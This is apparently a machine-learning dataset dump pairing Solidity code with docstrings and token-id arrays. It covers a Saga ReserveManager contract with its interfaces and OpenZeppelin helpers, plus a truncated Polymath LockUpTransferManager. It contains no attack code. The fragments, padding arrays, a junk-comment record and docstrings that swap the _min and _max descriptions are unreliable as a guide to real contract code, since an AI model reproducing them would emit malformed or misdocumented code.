1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
9604,
13155,
682,
12,
2867,
8526,
745,
892,
6138,
13,
3903,
1338,
5541,
288,
203,
1377,
364,
261,
11890,
5034,
277,
31,
277,
411,
6138,
18,
2469,
31,
965,
77,
13,
288,
203,
3639,
389,
291,
13155,
18647,
63,
13277,
63,
77,
13563,
273,
638,
31,
203,
1377,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x192310b4A73Cb9C9D034D6AC80140Fd97f39f900/sources/browser/23451321245.sol | qmwUPtITsOAdhGKMmxuBqmwUPtITsOAdhGKMmxuB/ | /*qmwUPtITsOAdhGKMmxuB*/}/*qmwUPtITsOAdhGKMmxuB* | 17,083,426 | [
1,
26245,
91,
3079,
88,
1285,
87,
51,
1871,
76,
43,
47,
49,
11023,
89,
38,
26245,
91,
3079,
88,
1285,
87,
51,
1871,
76,
43,
47,
49,
11023,
89,
38,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1748,
26245,
91,
3079,
88,
1285,
87,
51,
1871,
76,
43,
47,
49,
11023,
89,
38,
5549,
4004,
14,
26245,
91,
3079,
88,
1285,
87,
51,
1871,
76,
43,
47,
49,
11023,
89,
38,
14,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.25;
// File: contracts/saga/interfaces/IReserveManager.sol
/**
* @title Reserve Manager Interface.
*/
interface IReserveManager {
/**
* @dev Get a deposit-recommendation.
* @param _balance The balance of the token-contract.
* @return The address of the wallet permitted to deposit ETH into the token-contract.
* @return The amount that should be deposited in order for the balance to reach `mid` ETH.
*/
function getDepositParams(uint256 _balance) external view returns (address, uint256);
/**
* @dev Get a withdraw-recommendation.
* @param _balance The balance of the token-contract.
* @return The address of the wallet permitted to withdraw ETH into the token-contract.
* @return The amount that should be withdrawn in order for the balance to reach `mid` ETH.
*/
function getWithdrawParams(uint256 _balance) external view returns (address, uint256);
}
// File: contracts/saga/interfaces/IPaymentManager.sol
/**
* @title Payment Manager Interface.
*/
interface IPaymentManager {
/**
* @dev Retrieve the current number of outstanding payments.
* @return The current number of outstanding payments.
*/
function getNumOfPayments() external view returns (uint256);
/**
* @dev Retrieve the sum of all outstanding payments.
* @return The sum of all outstanding payments.
*/
function getPaymentsSum() external view returns (uint256);
/**
* @dev Compute differ payment.
* @param _ethAmount The amount of ETH entitled by the client.
* @param _ethBalance The amount of ETH retained by the payment handler.
* @return The amount of differed ETH payment.
*/
function computeDifferPayment(uint256 _ethAmount, uint256 _ethBalance) external view returns (uint256);
/**
* @dev Register a differed payment.
* @param _wallet The payment wallet address.
* @param _ethAmount The payment amount in ETH.
*/
function registerDifferPayment(address _wallet, uint256 _ethAmount) external;
}
// File: contracts/saga/interfaces/IETHConverter.sol
/**
* @title ETH Converter Interface.
*/
interface IETHConverter {
/**
* @dev Get the current SDR worth of a given ETH amount.
* @param _ethAmount The amount of ETH to convert.
* @return The equivalent amount of SDR.
*/
function toSdrAmount(uint256 _ethAmount) external view returns (uint256);
/**
* @dev Get the current ETH worth of a given SDR amount.
* @param _sdrAmount The amount of SDR to convert.
* @return The equivalent amount of ETH.
*/
function toEthAmount(uint256 _sdrAmount) external view returns (uint256);
/**
* @dev Get the original SDR worth of a converted ETH amount.
* @param _ethAmount The amount of ETH converted.
* @return The original amount of SDR.
*/
function fromEthAmount(uint256 _ethAmount) external view returns (uint256);
}
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
/**
* @title Contract Address Locator Interface.
*/
interface IContractAddressLocator {
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) external view returns (address);
/**
* @dev Determine whether or not a contract address relates to one of the identifiers.
* @param _contractAddress The contract address to look for.
* @param _identifiers The identifiers.
* @return A boolean indicating if the contract address relates to one of the identifiers.
*/
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
/**
* @title Contract Address Locator Holder.
* @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system.
* @dev Any contract which inherits from this contract can retrieve the address of any contract in the system.
* @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system.
* @dev In addition to that, any function in any contract can be restricted to a specific caller.
*/
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGAAuthorizationManager_ = "ISGAAuthorizationManager";
bytes32 internal constant _ISGAToken_ = "ISGAToken" ;
bytes32 internal constant _ISGATokenManager_ = "ISGATokenManager" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _IWalletsTradingDataSource_ = "IWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _WalletsTradingLimiter_SGATokenManager_ = "WalletsTLSGATokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
IContractAddressLocator private contractAddressLocator;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
/**
* @dev Get the contract address locator.
* @return The contract address locator.
*/
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
/**
* @dev Determine whether or not the sender relates to one of the identifiers.
* @param _identifiers The identifiers.
* @return A boolean indicating if the sender relates to one of the identifiers.
*/
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
/**
* @dev Verify that the caller is mapped to a given identifier.
* @param _identifier The identifier.
*/
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Claimable.sol
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/saga/ReserveManager.sol
/**
* Details of usage of licenced software see here: https://www.saga.org/software/readme_v1
*/
/**
* @title Reserve Manager.
*/
contract ReserveManager is IReserveManager, ContractAddressLocatorHolder, Claimable {
string public constant VERSION = "1.0.0";
using SafeMath for uint256;
struct Wallets {
address deposit;
address withdraw;
}
struct Thresholds {
uint256 min;
uint256 max;
uint256 mid;
}
Wallets public wallets;
Thresholds public thresholds;
uint256 public walletsSequenceNum = 0;
uint256 public thresholdsSequenceNum = 0;
event ReserveWalletsSaved(address _deposit, address _withdraw);
event ReserveWalletsNotSaved(address _deposit, address _withdraw);
event ReserveThresholdsSaved(uint256 _min, uint256 _max, uint256 _mid);
event ReserveThresholdsNotSaved(uint256 _min, uint256 _max, uint256 _mid);
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {}
/**
* @dev Return the contract which implements the IETHConverter interface.
*/
function getETHConverter() public view returns (IETHConverter) {
return IETHConverter(getContractAddress(_IETHConverter_));
}
/**
* @dev Return the contract which implements the IPaymentManager interface.
*/
function getPaymentManager() public view returns (IPaymentManager) {
return IPaymentManager(getContractAddress(_IPaymentManager_));
}
/**
* @dev Set the reserve wallets.
* @param _walletsSequenceNum The sequence-number of the operation.
* @param _deposit The address of the wallet permitted to deposit ETH into the token-contract.
* @param _withdraw The address of the wallet permitted to withdraw ETH from the token-contract.
*/
function setWallets(uint256 _walletsSequenceNum, address _deposit, address _withdraw) external onlyOwner {
require(_deposit != address(0), "deposit-wallet is illegal");
require(_withdraw != address(0), "withdraw-wallet is illegal");
if (walletsSequenceNum < _walletsSequenceNum) {
walletsSequenceNum = _walletsSequenceNum;
wallets.deposit = _deposit;
wallets.withdraw = _withdraw;
emit ReserveWalletsSaved(_deposit, _withdraw);
}
else {
emit ReserveWalletsNotSaved(_deposit, _withdraw);
}
}
/**
* @dev Set the reserve thresholds.
* @param _thresholdsSequenceNum The sequence-number of the operation.
* @param _min The maximum balance which allows depositing ETH from the token-contract.
* @param _max The minimum balance which allows withdrawing ETH into the token-contract.
* @param _mid The balance that the deposit/withdraw recommendation functions will yield.
*/
function setThresholds(uint256 _thresholdsSequenceNum, uint256 _min, uint256 _max, uint256 _mid) external onlyOwner {
require(_min <= _mid, "min-threshold is greater than mid-threshold");
require(_max >= _mid, "max-threshold is smaller than mid-threshold");
if (thresholdsSequenceNum < _thresholdsSequenceNum) {
thresholdsSequenceNum = _thresholdsSequenceNum;
thresholds.min = _min;
thresholds.max = _max;
thresholds.mid = _mid;
emit ReserveThresholdsSaved(_min, _max, _mid);
}
else {
emit ReserveThresholdsNotSaved(_min, _max, _mid);
}
}
/**
* @dev Get a deposit-recommendation.
* @param _balance The balance of the token-contract.
* @return The address of the wallet permitted to deposit ETH into the token-contract.
* @return The amount that should be deposited in order for the balance to reach `mid` ETH.
*/
function getDepositParams(uint256 _balance) external view returns (address, uint256) {
uint256 depositRecommendation = 0;
uint256 sdrPaymentsSum = getPaymentManager().getPaymentsSum();
uint256 ethPaymentsSum = getETHConverter().toEthAmount(sdrPaymentsSum);
if (ethPaymentsSum >= _balance || (_balance - ethPaymentsSum) <= thresholds.min){// first part of the condition
// prevents underflow in the second part
depositRecommendation = (thresholds.mid).add(ethPaymentsSum) - _balance;// will never underflow
}
return (wallets.deposit, depositRecommendation);
}
/**
* @dev Get a withdraw-recommendation.
* @param _balance The balance of the token-contract.
* @return The address of the wallet permitted to withdraw ETH into the token-contract.
* @return The amount that should be withdrawn in order for the balance to reach `mid` ETH.
*/
function getWithdrawParams(uint256 _balance) external view returns (address, uint256) {
uint256 withdrawRecommendationAmount = 0;
if (_balance >= thresholds.max && getPaymentManager().getNumOfPayments() == 0){// _balance >= thresholds.max >= thresholds.mid
withdrawRecommendationAmount = _balance - thresholds.mid; // will never underflow
}
return (wallets.withdraw, withdrawRecommendationAmount);
}
}
| * @dev Set the reserve thresholds. @param _thresholdsSequenceNum The sequence-number of the operation. @param _min The maximum balance which allows depositing ETH from the token-contract. @param _max The minimum balance which allows withdrawing ETH into the token-contract. @param _mid The balance that the deposit/withdraw recommendation functions will yield./ | function setThresholds(uint256 _thresholdsSequenceNum, uint256 _min, uint256 _max, uint256 _mid) external onlyOwner {
require(_min <= _mid, "min-threshold is greater than mid-threshold");
require(_max >= _mid, "max-threshold is smaller than mid-threshold");
if (thresholdsSequenceNum < _thresholdsSequenceNum) {
thresholdsSequenceNum = _thresholdsSequenceNum;
thresholds.min = _min;
thresholds.max = _max;
thresholds.mid = _mid;
emit ReserveThresholdsSaved(_min, _max, _mid);
}
else {
emit ReserveThresholdsNotSaved(_min, _max, _mid);
}
}
| 12,887,819 | [
1,
694,
326,
20501,
19983,
18,
225,
389,
8699,
87,
4021,
2578,
1021,
3102,
17,
2696,
434,
326,
1674,
18,
225,
389,
1154,
1021,
4207,
11013,
1492,
5360,
443,
1724,
310,
512,
2455,
628,
326,
1147,
17,
16351,
18,
225,
389,
1896,
1021,
5224,
11013,
1492,
5360,
598,
9446,
310,
512,
2455,
1368,
326,
1147,
17,
16351,
18,
225,
389,
13138,
1021,
11013,
716,
326,
443,
1724,
19,
1918,
9446,
10519,
18782,
4186,
903,
2824,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
7614,
87,
12,
11890,
5034,
389,
8699,
87,
4021,
2578,
16,
2254,
5034,
389,
1154,
16,
2254,
5034,
389,
1896,
16,
2254,
5034,
389,
13138,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
24899,
1154,
1648,
389,
13138,
16,
315,
1154,
17,
8699,
353,
6802,
2353,
7501,
17,
8699,
8863,
203,
3639,
2583,
24899,
1896,
1545,
389,
13138,
16,
315,
1896,
17,
8699,
353,
10648,
2353,
7501,
17,
8699,
8863,
203,
203,
3639,
309,
261,
8699,
87,
4021,
2578,
411,
389,
8699,
87,
4021,
2578,
13,
288,
203,
5411,
19983,
4021,
2578,
273,
389,
8699,
87,
4021,
2578,
31,
203,
5411,
19983,
18,
1154,
273,
389,
1154,
31,
203,
5411,
19983,
18,
1896,
273,
389,
1896,
31,
203,
5411,
19983,
18,
13138,
273,
389,
13138,
31,
203,
203,
5411,
3626,
1124,
6527,
7614,
87,
16776,
24899,
1154,
16,
389,
1896,
16,
389,
13138,
1769,
203,
3639,
289,
203,
3639,
469,
288,
203,
5411,
3626,
1124,
6527,
7614,
87,
1248,
16776,
24899,
1154,
16,
389,
1896,
16,
389,
13138,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
import "../../TransferManager/ITransferManager.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
contract LockUpTransferManager is ITransferManager {
using SafeMath for uint256;
// permission definition
bytes32 public constant ADMIN = "ADMIN";
// a per-user lockup
struct LockUp {
uint256 lockupAmount; // Amount to be locked
uint256 startTime; // when this lockup starts (seconds)
uint256 lockUpPeriodSeconds; // total period of lockup (seconds)
uint256 releaseFrequencySeconds; // how often to release a tranche of tokens (seconds)
}
// mapping use to store the lockup details corresponds to lockup name
mapping (bytes32 => LockUp) public lockups;
// mapping user addresses to an array of lockups name for that user
mapping (address => bytes32[]) internal userToLockups;
// get list of the addresses for a particular lockupName
mapping (bytes32 => address[]) internal lockupToUsers;
// holds lockup index corresponds to user address. userAddress => lockupName => lockupIndex
mapping (address => mapping(bytes32 => uint256)) internal userToLockupIndex;
// holds the user address index corresponds to the lockup. lockupName => userAddress => userIndex
mapping (bytes32 => mapping(address => uint256)) internal lockupToUserIndex;
bytes32[] lockupArray;
event AddLockUpToUser(
address indexed _userAddress,
bytes32 indexed _lockupName
);
event RemoveLockUpFromUser(
address indexed _userAddress,
bytes32 indexed _lockupName
);
event ModifyLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 indexed _lockupName
);
event AddNewLockUpType(
bytes32 indexed _lockupName,
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds
);
event RemoveLockUpType(bytes32 indexed _lockupName);
/**
* @notice Constructor
* @param _securityToken Address of the security token
* @param _polyAddress Address of the polytoken
*/
constructor (address _securityToken, address _polyAddress)
public
Module(_securityToken, _polyAddress)
{
}
/** @notice Used to verify the transfer transaction and prevent locked up tokens from being transferred
* @param _from Address of the sender
* @param _amount The amount of tokens to transfer
*/
function verifyTransfer(address _from, address /* _to*/, uint256 _amount, bytes /* _data */, bool /*_isTransfer*/) public returns(Result) {
// only attempt to verify the transfer if the token is unpaused, this isn't a mint txn, and there exists a lockup for this user
if (!paused && _from != address(0) && userToLockups[_from].length != 0) {
// check if this transfer is valid
return _checkIfValidTransfer(_from, _amount);
}
return Result.NA;
}
/**
* @notice Use to add the new lockup type
* @param _lockupAmount Amount of tokens that need to lock.
* @param _startTime When this lockup starts (seconds)
* @param _lockUpPeriodSeconds Total period of lockup (seconds)
* @param _releaseFrequencySeconds How often to release a tranche of tokens (seconds)
* @param _lockupName Name of the lockup
*/
function addNewLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
public
withPerm(ADMIN)
{
_addNewLockUpType(
_lockupAmount,
_startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
}
/**
* @notice Use to add the new lockup type
* @param _lockupAmounts Array of amount of tokens that need to lock.
* @param _startTimes Array of startTimes when this lockup starts (seconds)
* @param _lockUpPeriodsSeconds Array of total period of lockup (seconds)
* @param _releaseFrequenciesSeconds Array of how often to release a tranche of tokens (seconds)
* @param _lockupNames Array of names of the lockup
*/
function addNewLockUpTypeMulti(
uint256[] _lockupAmounts,
uint256[] _startTimes,
uint256[] _lockUpPeriodsSeconds,
uint256[] _releaseFrequenciesSeconds,
bytes32[] _lockupNames
)
external
withPerm(ADMIN)
{
require(
_lockupNames.length == _lockUpPeriodsSeconds.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _releaseFrequenciesSeconds.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _startTimes.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _lockupAmounts.length,
"Input array length mismatch"
);
for (uint256 i = 0; i < _lockupNames.length; i++) {
_addNewLockUpType(
_lockupAmounts[i],
_startTimes[i],
_lockUpPeriodsSeconds[i],
_releaseFrequenciesSeconds[i],
_lockupNames[i]
);
}
}
/**
* @notice Add the lockup to a user
* @param _userAddress Address of the user
* @param _lockupName Name of the lockup
*/
function addLockUpByName(
address _userAddress,
bytes32 _lockupName
)
public
withPerm(ADMIN)
{
_addLockUpByName(_userAddress, _lockupName);
}
/**
* @notice Add the lockup to a user
* @param _userAddresses Address of the user
* @param _lockupNames Name of the lockup
*/
function addLockUpByNameMulti(
address[] _userAddresses,
bytes32[] _lockupNames
)
external
withPerm(ADMIN)
{
require(_userAddresses.length == _lockupNames.length, "Length mismatch");
